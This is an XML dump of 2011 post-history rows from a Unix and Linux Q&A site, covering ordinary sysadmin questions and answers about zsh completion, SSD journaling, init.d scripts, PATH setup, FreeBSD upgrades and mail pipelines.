  <row Id="32973" PostHistoryTypeId="5" PostId="13323" RevisionGUID="4d3fc080-8ae7-40fa-a231-66eb5703bcd8" CreationDate="2011-05-17T11:58:13.630" UserId="1925" Comment="added 2 characters in body" Text="	$ ps aux | grep -i ssh&#xD;&#xA;	USER      4364  0.0  0.0   9004  1032 ?        Ss   12:20   0:00 ssh -v -fND localhost:4000 USERNAME@SERVER-IP-ADDRESS&#xD;&#xA;&#xD;&#xA;	$ pgrep localhost:4000&#xD;&#xA;&#xD;&#xA;Why doesn't this work?" />
  <row Id="32974" PostHistoryTypeId="25" PostId="13326" RevisionGUID="6b5c1c5b-41eb-47ae-95dd-85f2898ecc8c" CreationDate="2011-05-17T12:12:16.963" Comment="http://twitter.com/#!/StackUnix/status/70461630596644864" />
  <row Id="32975" PostHistoryTypeId="2" PostId="13331" RevisionGUID="38568e18-0f1b-44c9-b209-28204767548c" CreationDate="2011-05-16T17:10:59.257" UserDisplayName="Thomas Krajacic" Text="On Mac OS X 10.6 zsh&#xD;&#xA;&#xD;&#xA;I have set in .zshrc:&#xD;&#xA;&#xD;&#xA;    setopt automenu&#xD;&#xA;&#xD;&#xA;to get a completion menu below the prompt.&#xD;&#xA;When I type &#xD;&#xA;&#xD;&#xA;    cd &lt;TAB&gt;&#xD;&#xA;&#xD;&#xA;I see a completion menu with all Directories that have Spaces in their names having those spaces escaped with a backslash.&#xD;&#xA;I would like them to be displayed without the escaping backslash though for better readability.&#xD;&#xA;This works in bash and in tcsh and when I do&#xD;&#xA;&#xD;&#xA;    ls&#xD;&#xA;&#xD;&#xA;in zsh I also don't see the ugly slashes.&#xD;&#xA;The actual line on the prompt of course needs those escaped spaces for the command to work, but the list of directories below shouldn't show them escaped.&#xD;&#xA;&#xD;&#xA;Can anyone help me out how to achieve this?&#xD;&#xA;&#xD;&#xA;Thx&#xD;&#xA;Thomas Krajacic&#xD;&#xA;&#xD;&#xA;I have not found a setting to change the output in the completion menu" />
  <row Id="32976" PostHistoryTypeId="1" PostId="13331" RevisionGUID="38568e18-0f1b-44c9-b209-28204767548c" CreationDate="2011-05-16T17:10:59.257" UserDisplayName="Thomas Krajacic" Text="in zsh, how do I hide the backslashes in the completion menu" />
  <row Id="32977" PostHistoryTypeId="3" PostId="13331" RevisionGUID="38568e18-0f1b-44c9-b209-28204767548c" CreationDate="2011-05-16T17:10:59.257" UserDisplayName="Thomas Krajacic" Text="élinuxàéosxàéshellàézshà" />
  <row Id="32978" PostHistoryTypeId="17" PostId="13331" RevisionGUID="abc17230-97f1-4966-8352-e6e5623e4b48" CreationDate="2011-05-17T12:27:28.273" UserId="-1" Comment="from http://stackoverflow.com/questions/6020864/in-zsh-how-do-i-hide-the-backslashes-in-the-completion-menu" Text="" />
  <row Id="32982" PostHistoryTypeId="2" PostId="13333" RevisionGUID="1c746845-f701-448f-9718-7b51308de393" CreationDate="2011-05-17T13:05:11.900" UserId="2701" Text="If the SSD is to be your only disk platform, regardless of number of devices, then you have a quandry; how to minimize writes while maintaining reliability and performance.&#xD;&#xA;&#xD;&#xA;More specifically, ext4, and 3 for that matter, NILFS, and almost any other modern file system will maintain a journal. Ordinarily this is desirable, however, when dealing with SSD devices it increases the writes performed against the device and thereby reduces its lifespan. One option is to select a conventional IDE, SATA, or other device to which the file system can write its journal. This way one may maintain the benefits of journaling without sacrificing lifespan of the SSD device(s). In the case of ext4 this can be accomplished as: `mke2fs -O journal_dev /dev/external_device` then attached to the specific file system as: `mkfs.ext4 -J journal=/dev/external_device`. More information can be found in the [man page][1].&#xD;&#xA;&#xD;&#xA;An additional feature of file systems to keep in mind when deal with SSD devices is atime. Setting atime on a file system can drastically increase the number of writes to a given device over time. Options for changing this behavior include 'relatime' and 'noatime'.&#xD;&#xA;&#xD;&#xA;  [1]: http://202.203.132.242/cgi-bin/dwww/usr/share/man/man8/mkfs.ext4.8.gz?type=man" />
  <row Id="32983" PostHistoryTypeId="17" PostId="13335" RevisionGUID="655fb5c6-3bd7-47ee-a296-8741b2616924" CreationDate="2011-05-17T13:10:07.643" UserId="-1" Comment="from http://stackoverflow.com/questions/6018677/why-is-this-init-d-script-not-being-executed-at-system-reboot/6019784#6019784" Text="" />
  <row Id="32984" PostHistoryTypeId="2" PostId="13335" RevisionGUID="7d71f282-3fae-4c49-a77e-ee7ae7e2a80d" CreationDate="2011-05-16T15:39:07.307" UserDisplayName="Udo G" Text="I found the reason:&#xD;&#xA;&#xD;&#xA;The script needed the following line in the `BEGIN INIT INFO` section so that the root fs is not being unmounted before my script finishes:&#xD;&#xA;&#xD;&#xA;    Should-Stop:       umountroot&#xD;&#xA;&#xD;&#xA;This causes `umountroot` to become &quot;dependent&quot; on my script." />
  <row Id="32985" PostHistoryTypeId="2" PostId="13334" RevisionGUID="c722bc54-8b7b-4c07-a3d0-8b3c364533c7" CreationDate="2011-05-16T14:12:30.480" UserDisplayName="Udo G" Text="I have a selfmade init.d script on a Linux box that worked fine with Debian 4 and Debian 5 but with Debian 6 (fresh install) it gets only executed at system boot but not before rebooting.&#xD;&#xA;&#xD;&#xA;The script is pratically this one:&#xD;&#xA;&#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides:          selfheal&#xD;&#xA;    # Required-Start:&#xD;&#xA;    # Required-Stop:&#xD;&#xA;    # X-Start-Before:    mountall&#xD;&#xA;    # X-Stop-After:      umountfs&#xD;&#xA;    # Default-Start:     2 3 4 5&#xD;&#xA;    # Default-Stop:      0 1 6&#xD;&#xA;    # Short-Description: selfheal tool&#xD;&#xA;    # Description:       Saves/restores the user partition at (re)boot&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;    &#xD;&#xA;    echo $0 $*&#xD;&#xA;    sleep 3&#xD;&#xA;    &#xD;&#xA;    # some useful stuff follows here...&#xD;&#xA;&#xD;&#xA;At `reboot` I see the system switching to `runlevel 6` and unmounting the file systems (see that `X-Stop-After: umountfs` above). No sign of life from my `selfheal` script.&#xD;&#xA;&#xD;&#xA;At system *boot* however, I see the `echo` line and the script is being executed.&#xD;&#xA;&#xD;&#xA;I've installed the script using:&#xD;&#xA;&#xD;&#xA;    rm /etc/rc*.d/[SK]??selfheal &amp;&amp; update-rc.d selfheal defaults&#xD;&#xA;&#xD;&#xA;no errors/warnings there. The symlink exists:&#xD;&#xA;&#xD;&#xA;    root@intermodul:~# ls -al /etc/rc6.d/&#xD;&#xA;    total 12&#xD;&#xA;    drwxr-xr-x  2 root root 4096 May 16 16:09 .&#xD;&#xA;    drwxr-xr-x 68 root root 4096 May 16 16:07 ..&#xD;&#xA;    &lt;snip&gt;&#xD;&#xA;    lrwxrwxrwx  1 root root   18 May 16 15:09 K09umountfs -&gt; ../init.d/umountfs&#xD;&#xA;    lrwxrwxrwx  1 root root   18 May 16 16:09 K10selfheal -&gt; ../init.d/selfheal&#xD;&#xA;    lrwxrwxrwx  1 root root   20 May 16 15:09 K10umountroot -&gt; ../init.d/umountroot&#xD;&#xA;    lrwxrwxrwx  1 root root   16 May 16 15:09 K11reboot -&gt; ../init.d/reboot&#xD;&#xA;    -rw-r--r--  1 root root  351 Jan  1 06:34 README&#xD;&#xA;&#xD;&#xA;Note that with Debian 6 came concurrent booting and I guess there is something wrong with my &quot;INIT INFO&quot;.&#xD;&#xA;&#xD;&#xA;What is wrong here?&#xD;&#xA;&#xD;&#xA;Update&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;The script gets executed when setting `CONCURRENCY=none` in `/etc/init.d/rc` but I'd like to have makefile concurrency enabled. So, why doesn't the script get executed in makefile concurrency mode?" />
  <row Id="32986" PostHistoryTypeId="1" PostId="13334" RevisionGUID="c722bc54-8b7b-4c07-a3d0-8b3c364533c7" CreationDate="2011-05-16T14:12:30.480" UserDisplayName="Udo G" Text="why is this init.d-script not being executed at system reboot?" />
  <row Id="32987" PostHistoryTypeId="3" PostId="13334" RevisionGUID="c722bc54-8b7b-4c07-a3d0-8b3c364533c7" CreationDate="2011-05-16T14:12:30.480" UserDisplayName="Udo G" Text="élinuxàébootà" />
  <row Id="32988" PostHistoryTypeId="17" PostId="13334" RevisionGUID="6c7597c5-8a99-4743-8606-4192e952df2f" CreationDate="2011-05-17T13:10:07.643" UserId="-1" Comment="from http://stackoverflow.com/questions/6018677/why-is-this-init-d-script-not-being-executed-at-system-reboot" Text="" />
  <row Id="32989" PostHistoryTypeId="5" PostId="13312" RevisionGUID="a581b399-9aca-42e4-9ff4-15edf3821d57" CreationDate="2011-05-17T13:11:36.783" UserId="688" Comment="deleted 12 characters in body; edited title" Text="I want to create Fedora 14 live CD with additional packages I want. How to do it? " />
  <row Id="32990" PostHistoryTypeId="4" PostId="13312" RevisionGUID="a581b399-9aca-42e4-9ff4-15edf3821d57" CreationDate="2011-05-17T13:11:36.783" UserId="688" Comment="deleted 12 characters in body; edited title" Text="How to add packages onto a Fedora live USB" />
  <row Id="32991" PostHistoryTypeId="5" PostId="13328" RevisionGUID="1a077735-10d5-495b-b856-2955fb3486af" CreationDate="2011-05-17T13:12:02.817" UserId="1925" Comment="added 261 characters in body" Text="I think you will have to use a temp file for this operation so that you can use the `&amp;&amp;` operator to only run the mail command if the grep returned an exit status that says it had matches like this:&#xD;&#xA;&#xD;&#xA;    TMPFILE=`mktemp /tmp/mailqgrep.XXXXXX`; mailq | egrep 'rejected|refused' -A5 -B5 &gt; $TMPFILE &amp;&amp; mail -s 'dd' email@email &lt; $TMPFILE; rm $TMPFILE&#xD;&#xA;&#xD;&#xA;If you didn't mind the temp file sticking around somewhere and can use a static name for it, you could skip the special naming and deletion stuff:&#xD;&#xA;&#xD;&#xA;     mailq | egrep 'rejected|refused' -A5 -B5 &gt; /tmp/mailqgrep &amp;&amp; mail -s 'dd' email@email &lt; /tmp/mailqgrep" />
  <row Id="32992" PostHistoryTypeId="5" PostId="524" RevisionGUID="84aa8718-e3f3-4fce-ae6c-2d6de701f1fa" CreationDate="2011-05-17T13:26:34.227" UserId="688" Comment="deleted 2 characters in body; edited tags; edited title" Text="In a few points, what are the strength and weakness of your favourite Unix. Tell us the unique features that other implementations do not offer." />
  <row Id="32993" PostHistoryTypeId="4" PostId="524" RevisionGUID="84aa8718-e3f3-4fce-ae6c-2d6de701f1fa" CreationDate="2011-05-17T13:26:34.227" UserId="688" Comment="deleted 2 characters in body; edited tags; edited title" Text="What are the strengths and weaknesses of different Unices" />
  <row Id="32994" PostHistoryTypeId="6" PostId="524" RevisionGUID="84aa8718-e3f3-4fce-ae6c-2d6de701f1fa" CreationDate="2011-05-17T13:26:34.227" UserId="688" Comment="deleted 2 characters in body; edited tags; edited title" Text="édistributionöchoiceà" />
  <row Id="32995" PostHistoryTypeId="5" PostId="939" RevisionGUID="d3b4b6d5-d224-4b57-ab08-4066136c1819" CreationDate="2011-05-17T13:30:12.773" UserId="688" Comment="added 8 characters in body; deleted 2 characters in body" Text="Well, &quot;/var&quot; is generally for data generated by programs, so it may not be possible to tell you exactly who should own what without duplicating your system.  I can think of two ways you might fix it:&#xD;&#xA;&#xD;&#xA;1. Set up another version of your web server on a spare or virtual machine and then check `/var`.&#xD;&#xA;2. Just change to root/root and then see what errors come up (most of the directories will have this ownership structure).&#xD;&#xA;&#xD;&#xA;The downside to 1 is the amount of time it will take; the plus side being that it will be accurate.  Item 2 is much faster but less accurate even if it's mostly true.  The big problem here is that on an important production box 2 may not be feasible." />
  <row Id="32996" PostHistoryTypeId="5" PostId="507" RevisionGUID="812ed08a-1f92-49f7-a9cf-b45ca8954848" CreationDate="2011-05-17T13:35:48.137" UserId="688" Comment="added 25 characters in body" Text="Run this command:&#xD;&#xA;&#xD;&#xA;    export PAGER=most&#xD;&#xA;" />
  <row Id="32997" PostHistoryTypeId="5" PostId="133" RevisionGUID="fa149369-65ff-43ef-bc8d-eebafde3d623" CreationDate="2011-05-17T13:36:03.207" UserId="688" Comment="deleted 3 characters in body" Text="[link][1] should be helpful&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linuxtidbits.wordpress.com/2009/03/23/less-colors-for-man-pages/" />
  <row Id="32998" PostHistoryTypeId="5" PostId="770" RevisionGUID="d200e85e-490e-430b-a02e-1adf79f1eb9b" CreationDate="2011-05-17T13:46:50.497" UserId="688" Comment="deleted 6 characters in body; edited tags" Text="One of my processes is failing to start fairly early in the boot process (I suspect mdadm and I suspect that it's just taking longer than the rc script allows for) but I can't quite catch/see it during boot and Arch clears the screen before the login prompt appears. Does Arch keep any logs of the init process that might show or is there any way to see what was on the screen before it clears or keep it from clearing the screen?&#xD;&#xA;&#xD;&#xA;*update* I'm really talking about the rc scripts and output to the screen... This does not actually translate to things sent to the system logs or errors output by daemons unfortunately. Gentoo had  a special log just for the boot output, but it wasn't enabled by default, I'm hoping Arch has something similar." />
  <row Id="32999" PostHistoryTypeId="6" PostId="770" RevisionGUID="d200e85e-490e-430b-a02e-1adf79f1eb9b" CreationDate="2011-05-17T13:46:50.497" UserId="688" Comment="deleted 6 characters in body; edited tags" Text="éarchölinuxàélogsà" />
  <row Id="33000" PostHistoryTypeId="5" PostId="919" RevisionGUID="daeb8ee5-bad3-4d2b-ba76-ddf68c98f13d" CreationDate="2011-05-17T13:47:23.350" UserId="688" Comment="added 10 characters in body" Text="If you add a `-i` option to the getty command in /etc/inittab this will stop the screen from clearing. So try something like:&#xD;&#xA;&#xD;&#xA;    c1:2345:respawn:/sbin/agetty -i -8 38400 tty1 linux" />
  <row Id="33001" PostHistoryTypeId="2" PostId="13336" RevisionGUID="25c11155-f3c0-4c73-8fda-d114d74e9478" CreationDate="2011-05-17T13:50:14.127" UserId="3840" Text="You can use ext4 with the `noload` mount option added to your `/etc/fstab` file. It will make the filesystem behave as ext2 on steroids. In fact, AFAIK this is what Google uses in its data centers. You lose the safety net data journaling provides but you gain speed and longer life for your SSD.&#xD;&#xA;" />
  <row Id="33002" PostHistoryTypeId="5" PostId="13336" RevisionGUID="69c731e9-d28d-4dd6-83e0-942eac765f21" CreationDate="2011-05-17T13:56:49.237" UserId="3840" Comment="added 95 characters in body" Text="You can use ext4 with the `noload` mount option added to your `/etc/fstab` file. It will make the filesystem behave as ext2 on steroids. In fact, AFAIK this is what Google uses in its data centers. You lose the safety net data journaling provides but you gain speed and longer life for your SSD.&#xD;&#xA;&#xD;&#xA;You can make it permanent by running `tune2fs -O ^has_journal` on the unmounted partition(s)." />
  <row Id="33007" PostHistoryTypeId="2" PostId="13337" RevisionGUID="71ea63de-00e4-4837-a707-0f46ae5bb9aa" CreationDate="2011-05-17T14:14:47.133" UserId="4667" Text="You could save the output in a variable, and then invoke the mail command if the length of the string is non-zero.&#xD;&#xA;&#xD;&#xA;    data=$(mailq | egrep 'rejected|refused' -A 5 -B 5)&#xD;&#xA;    [[ -n &quot;$data&quot; ]] &amp;&amp; mail -s 'dd' email@email &lt;&lt;&lt; &quot;$data&quot;&#xD;&#xA;&#xD;&#xA;For one line, join the two commands with a semi-colon." />
  <row Id="33008" PostHistoryTypeId="4" PostId="13326" RevisionGUID="86347b22-fcf0-44a7-ae8b-f2552ef973e5" CreationDate="2011-05-17T14:28:24.620" UserId="73" Comment="edited title" Text="How to pipe output from one process to another but only execute if the first has output?" />
  <row Id="33009" PostHistoryTypeId="5" PostId="877" RevisionGUID="b4a50480-40cb-46a8-85c5-716604b48964" CreationDate="2011-05-17T14:34:01.597" UserId="688" Comment="deleted 31 characters in body" Text="Is there some kind of pwd generator for Linux that has a nice GUI and options like [this one for Windows][1]? I know that there is `pwgen`, but as far as I know it does not support mouse/keyboard entropy and it does not have any kind of front end GUI's... or does it?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pwgen-win.sourceforge.net/" />
  <row Id="33010" PostHistoryTypeId="5" PostId="879" RevisionGUID="cc0ee2a0-61d8-45cd-b572-442ec3413f0c" CreationDate="2011-05-17T14:35:49.473" UserId="688" Comment="added 36 characters in body" Text="Well, `pwgen` for Linux uses &quot;/dev/urandom&quot;. It's not so bad (&quot;/dev/random&quot; would be better). A better one is [APG][1] that optionally uses &quot;/dev/random&quot; and asks for keyboard input to randomize even more.&#xD;&#xA;&#xD;&#xA;If you want a GUI, there's [jpasswordgen][2] in Java, so it works everywhere.&#xD;&#xA;&#xD;&#xA;IMHO, I don't see the usefulness of using a GUI for this. The goal is to get passwords, and pwgen/apg can even generate nicely formatted lists of passwords.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adel.nursat.kz/apg/&#xD;&#xA;  [2]: http://sourceforge.net/projects/jpasswordgen/" />
  <row Id="33011" PostHistoryTypeId="5" PostId="851" RevisionGUID="93b02ae3-de00-4e3e-9f10-7390b2d949a2" CreationDate="2011-05-17T14:38:42.793" UserId="688" Comment="added 12 characters in body" Text="I posted some suggestions for books here: &#xD;&#xA;&#xD;&#xA;http://unix.stackexchange.com/questions/80/recommended-readings-for-better-understating-of-unix-linux-internals/214#214&#xD;&#xA;&#xD;&#xA;As for developing on Linux with .NET, I strongly recommend that you install [the MonoDevelop IDE][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.monodevelop.com" />
  <row Id="33012" PostHistoryTypeId="2" PostId="13338" RevisionGUID="3d1bc618-b94e-4b74-addc-35eb1648d667" CreationDate="2011-05-17T14:41:18.670" UserId="1090" Text="I have very long `export PATH=A:B:C ... `. Can I make a multiple lines to have more organized one as follows? &#xD;&#xA;&#xD;&#xA;    export PATH = A:&#xD;&#xA;                  B:&#xD;&#xA;                  C:&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33013" PostHistoryTypeId="1" PostId="13338" RevisionGUID="3d1bc618-b94e-4b74-addc-35eb1648d667" CreationDate="2011-05-17T14:41:18.670" UserId="1090" Text="Multiple path environment variable setup lines with bash." />
  <row Id="33014" PostHistoryTypeId="3" PostId="13338" RevisionGUID="3d1bc618-b94e-4b74-addc-35eb1648d667" CreationDate="2011-05-17T14:41:18.670" UserId="1090" Text="ébashàéenvironmentövariablesàépathà" />
  <row Id="33015" PostHistoryTypeId="2" PostId="13339" RevisionGUID="90eaf014-c6eb-4756-b798-7d05ff2fec39" CreationDate="2011-05-17T14:45:12.600" UserId="1097" Text="You can do:&#xD;&#xA;&#xD;&#xA;    export PATH=A&#xD;&#xA;    export PATH=$PATH:B&#xD;&#xA;    export PATH=$PATH:C&#xD;&#xA;&#xD;&#xA;Each subsequent line appends onto the previously defined path. This is generally a good habit, as it avoids trashing the existing path. If you want the new component to take precedence, swap the order:&#xD;&#xA;&#xD;&#xA;    export PATH=A&#xD;&#xA;    export PATH=B:$PATH&#xD;&#xA;    export PATH=C:$PATH&#xD;&#xA;&#xD;&#xA;Alternatively, you might be able to do:&#xD;&#xA;&#xD;&#xA;    export PATH=A:\&#xD;&#xA;    B:\ &#xD;&#xA;    C&#xD;&#xA;&#xD;&#xA;where `\` marks a line continuation. Haven't tested this method." />
  <row Id="33016" PostHistoryTypeId="2" PostId="13340" RevisionGUID="06f6f091-4c6e-41d1-b389-f862e1e2489b" CreationDate="2011-05-17T14:45:53.407" UserId="1925" Text="You can extend lines in bash using a backslash at the end of a line like this:&#xD;&#xA;&#xD;&#xA;    export PATH=/path/A:\&#xD;&#xA;    /path/B:\&#xD;&#xA;    /path/C&#xD;&#xA;&#xD;&#xA;Please note that the absence of white space is important here." />
  <row Id="33017" PostHistoryTypeId="5" PostId="807" RevisionGUID="f943d32a-6019-4fa0-99ea-5344111cac50" CreationDate="2011-05-17T14:46:06.703" UserId="688" Comment="added 2 characters in body" Text="I have 8.0-RELEASE-p4 + few ports installed. I wonder wheather I should update to 8.1.&#xD;&#xA;&#xD;&#xA;1. How long is 8.0 supported?&#xD;&#xA;2. How to update the system? I couldn't find anything about it in handbook.&#xD;&#xA;&#xD;&#xA;**SOLUTION** (based on gvkv answer): &#xD;&#xA;I take the liberty of describing all steps I've done at the end: &#xD;&#xA;&#xD;&#xA;    # STEP 1: Revert to GENERIC kernel&#xD;&#xA;    cd /tmp &#xD;&#xA;    wget -r ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/8.0-RELEASE/kernels/&#xD;&#xA;    cd pub/FreeBSD/releases/i386/8.0-RELEASE/kernels/&#xD;&#xA;    sha256 generic.* install.sh | diff - CHECKSUM.SHA256&#xD;&#xA;    ./install.sh GENERIC&#xD;&#xA;    nextboot -k GENERIC&#xD;&#xA;    # STEP 2: Upgrade - part 1&#xD;&#xA;    freebsd-update upgrade -r 8.1-RELEASE # Ignore kernel warning. Fix configuration&#xD;&#xA;    freebsd-update install&#xD;&#xA;    shutdown -r now&#xD;&#xA;    # STEP 3: Upgrade - part 2&#xD;&#xA;    nextboot -k GENERIC&#xD;&#xA;    freebsd-update install&#xD;&#xA;    shutdown -r now&#xD;&#xA;    # STEP 4: Upgrade - part 3&#xD;&#xA;    rm -rfv /usr/obj&#xD;&#xA;    portmaster -Raf # Rebuilds all packages. If you don't use portmaster use other tool or do it manually&#xD;&#xA;    cd /usr/src&#xD;&#xA;    make buildkernel KERNCONF=CUSTOM # Rebuild kernel&#xD;&#xA;    make installkernel KERNCONF=CUSTOM # Install kernel&#xD;&#xA;    shutdown -r now" />
  <row Id="33018" PostHistoryTypeId="5" PostId="13328" RevisionGUID="57393a6a-9455-4cb2-b325-00e6393affa8" CreationDate="2011-05-17T14:53:25.833" UserId="1925" Comment="added 527 characters in body" Text="I think you will have to use a temp file for this operation so that you can use the `&amp;&amp;` operator to only run the mail command if the grep returned an exit status that says it had matches like this:&#xD;&#xA;&#xD;&#xA;    TMPFILE=`mktemp /tmp/mailqgrep.XXXXXX`; mailq | egrep 'rejected|refused' -A5 -B5 &gt; $TMPFILE &amp;&amp; mail -s 'dd' email@email &lt; $TMPFILE; rm $TMPFILE&#xD;&#xA;&#xD;&#xA;If you didn't mind the temp file sticking around somewhere and can use a static name for it, you could skip the special naming and deletion stuff:&#xD;&#xA;&#xD;&#xA;     mailq | egrep 'rejected|refused' -A5 -B5 &gt; /tmp/mailqgrep &amp;&amp; mail -s 'dd' email@email &lt; /tmp/mailqgrep&#xD;&#xA;&#xD;&#xA;**Edit:** After seeing [glenn's answer][1] I played with this some more and apparently assigning a variable using the `$()` syntax returns the exit code of the command, so you can skip the test he used for the string length and use that instead. Here it is all in one command:&#xD;&#xA;&#xD;&#xA;    data=$(mailq | egrep 'rejected|refused' -A 5 -B 5) &amp;&amp; mail -s 'dd' email@email &lt;&lt;&lt; &quot;$data&quot;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/13326/how-to-pipe-output-from-one-process-to-another-but-only-execute-if-the-first-has/13337#13337" />
  <row Id="33019" PostHistoryTypeId="5" PostId="687" RevisionGUID="c0d2d4ed-03d3-4125-bfcd-55e2d85d07e3" CreationDate="2011-05-17T14:58:52.493" UserId="688" Comment="deleted 9 characters in body" Text="Maybe its ignoring the signal for some reason. Did you try `kill -9`?&#xD;&#xA;&#xD;&#xA;But please note: `kill -9` cannot be ignored or trapped. If a process sees signal 9, it has no choice but to die. It can't do anything else - not even gracefully clean up its files." />
  <row Id="33020" PostHistoryTypeId="4" PostId="684" RevisionGUID="aaf0ce93-2290-4974-a4f1-5cc14d3372c9" CreationDate="2011-05-17T14:59:14.273" UserId="688" Comment="edited title" Text="'kill java' doesn't kill java" />
  <row Id="33021" PostHistoryTypeId="5" PostId="667" RevisionGUID="43c50ae1-237f-4660-a240-1c3ef34396d5" CreationDate="2011-05-17T15:00:50.793" UserId="688" Comment="added 2 characters in body" Text="1. Try `netstat -i` and look for rx/tx errors.&#xD;&#xA;2. Try `netstat -s` and look for tcp issues - compare values before and after the file copy and look for large spikes in resets or retransmits.&#xD;&#xA;" />
  <row Id="33022" PostHistoryTypeId="5" PostId="363" RevisionGUID="c729af7e-313d-4e5f-ae6f-fbfb2a8453f2" CreationDate="2011-05-17T15:03:14.690" UserId="688" Comment="deleted 9 characters in body" Text="On Windows, the `Sounds &amp; Multimedia` control panel allows the connection of sound snippets to various operating system events, like window movements, process start/stop, and start-up/shutdown.&#xD;&#xA;&#xD;&#xA;I am using GNOME on Fedora 13, and I have not had any luck discovering any similar functionality. Does such a function exist? If so, is it cross-window-manager-compatible or tied to a specific window manager (GNOME, KDE, etc.) or distribution?" />
  <row Id="33023" PostHistoryTypeId="5" PostId="13327" RevisionGUID="2d81da6d-295c-435a-8fc0-6e69513839d8" CreationDate="2011-05-17T15:03:24.237" UserId="1925" Comment="added 350 characters in body" Text="There doesn't seem to be a &quot;demo&quot; site out there. Not only is this an aging system used by only a small minority of administrators, but you are expected to understand AIX already before automating it's administration. All the resources available seem to be more advanced that you are looking for, but here are some materials to read anyway:&#xD;&#xA;&#xD;&#xA; - IBM has [an article][1] that goes over the basics of SMIT. Since SMIT is a just an administration interface to AIX in general, the [other whitepapers on AIX][2] also have relevant information as you go along.&#xD;&#xA; - There is [an article covering SMIT][3] in brief in Volume 10 of SysAdmin, along with a [few other pieces][4] on AIX.&#xD;&#xA; - The wikipedia coverage is pretty sketchy, but the [IBM AIX SMIT page][5] page has a few of the keybindings and a good summary of what you're dealing with.&#xD;&#xA; - As far as a list of commands goes, SMIT is just a [control interface for other system commands][6], and you cat get some command line arguments for it in [this documentation][7].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ibm.com/developerworks/aix/library/au-smit/index.html&#xD;&#xA;  [2]: http://www-03.ibm.com/systems/power/software/aix/whitepapers/index.html&#xD;&#xA;  [3]: http://www.theillien.com/Sys_Admin_v12/html/v10/i13/a7.htm&#xD;&#xA;  [4]: http://www.theillien.com/Sys_Admin_v12/html/v10/i13/v10i13.htm&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/IBM_AIX_SMIT&#xD;&#xA;  [6]: http://publib.boulder.ibm.com/infocenter/pseries/v5r3/topic/com.ibm.aix.cmds/doc/aixcmds5/smit.htm&#xD;&#xA;  [7]: http://publib.boulder.ibm.com/infocenter/pseries/v5r3/index.jsp?topic=/com.ibm.aix.cmds/doc/aixcmds5/smit.htm" />
  <row Id="33024" PostHistoryTypeId="2" PostId="13341" RevisionGUID="ebf25ec3-7d73-4a8d-bbe0-c583b9005071" CreationDate="2011-05-17T15:03:32.923" UserId="4542" Text="IIRC the BSD `mail` command aborts if given an empty message." />
  <row Id="33025" PostHistoryTypeId="2" PostId="13342" RevisionGUID="40a1c9b3-4761-4a94-a982-0ec884e165cb" CreationDate="2011-05-17T15:05:29.630" UserId="7550" Text="using the information in this link, I'm able to debug code using dbx and display the code from within vim. http://vim.wikia.com/wiki/Using_gvim_as_frontend_for_dbx&#xD;&#xA;&#xD;&#xA;What would be really cool is if I could send commands (step, next, print, stop in ... etc)to dbx from within vim. I am relatively new to unix so do not know of any way to do this. Does anyone know how to send commands to dbx in this way? For example sending commands to dbx from a seperate process, or running dbx as a server?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="33026" PostHistoryTypeId="1" PostId="13342" RevisionGUID="40a1c9b3-4761-4a94-a982-0ec884e165cb" CreationDate="2011-05-17T15:05:29.630" UserId="7550" Text="send commands to dbx from vim" />
  <row Id="33027" PostHistoryTypeId="3" PostId="13342" RevisionGUID="40a1c9b3-4761-4a94-a982-0ec884e165cb" CreationDate="2011-05-17T15:05:29.630" UserId="7550" Text="évimàédebuggingà" />
  <row Id="33028" PostHistoryTypeId="5" PostId="717" RevisionGUID="15ce8d18-61b5-4d55-a066-77451a4e60cb" CreationDate="2011-05-17T15:07:59.927" UserId="688" Comment="added 19 characters in body" Text="... OCR is more than &quot;only character recognition&quot;. Image handling, preprocessing - page/layout analysis to find the texts, images, tables or barcodes. For the recognition, you have to deal with different fonts, sizes and languages. This is important because to get good results you have to use dictionaries and language definitions. Finally people expect more export options than text (e.g., XML, RTF, or searchable PDF). There are some commercial options for SDKs, but they are not cheap and for free.&#xD;&#xA;&#xD;&#xA;Recently I found a [CLI OCR for Linux from ABBYY][1]. There is a free 100 page trial.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ocr4linux.com" />
  <row Id="33029" PostHistoryTypeId="5" PostId="13342" RevisionGUID="cffb9ed1-2033-41d0-a83c-c4eb2cb49ac8" CreationDate="2011-05-17T15:08:33.997" UserId="1925" Comment="deleted 1 characters in body" Text="Using [this information][1], I'm able to debug code using `dbx` and display the code from within `vim`. &#xD;&#xA;&#xD;&#xA;What would be really cool is if I could send commands (step, next, print, stop in ... etc) to dbx from within vim. I am relatively new to unix so do not know of any way to do this. Does anyone know how to send commands to dbx in this way? For example sending commands to dbx from a seperate process, or running dbx as a server?&#xD;&#xA;&#xD;&#xA;  [1]: http://vim.wikia.com/wiki/Using_gvim_as_frontend_for_dbx" />
  <row Id="33030" PostHistoryTypeId="5" PostId="672" RevisionGUID="655a4769-21e6-40fb-87c9-49b5ee04d255" CreationDate="2011-05-17T15:09:26.900" UserId="688" Comment="deleted 13 characters in body; edited title" Text="When I tried searching for a string within a file, the results didn't include those that were enclosed in single quotes.&#xD;&#xA;&#xD;&#xA;For example: &#xD;&#xA;&#xD;&#xA;    grep -rn text folder/&#xD;&#xA;&#xD;&#xA;The results didn't include strings the looked like this: &#xD;&#xA;&#xD;&#xA;    'text'&#xD;&#xA;&#xD;&#xA;Care to tell me what I'm doing wrong?&#xD;&#xA;&#xD;&#xA;UPDATE: I just tested it with a new file and it worked! It looks like it only happened in one particular file (a ruby file). Maybe its concerned with encoding?" />
  <row Id="33031" PostHistoryTypeId="4" PostId="672" RevisionGUID="655a4769-21e6-40fb-87c9-49b5ee04d255" CreationDate="2011-05-17T15:09:26.900" UserId="688" Comment="deleted 13 characters in body; edited title" Text="Strings enclosed in '' are ignored when using grep" />
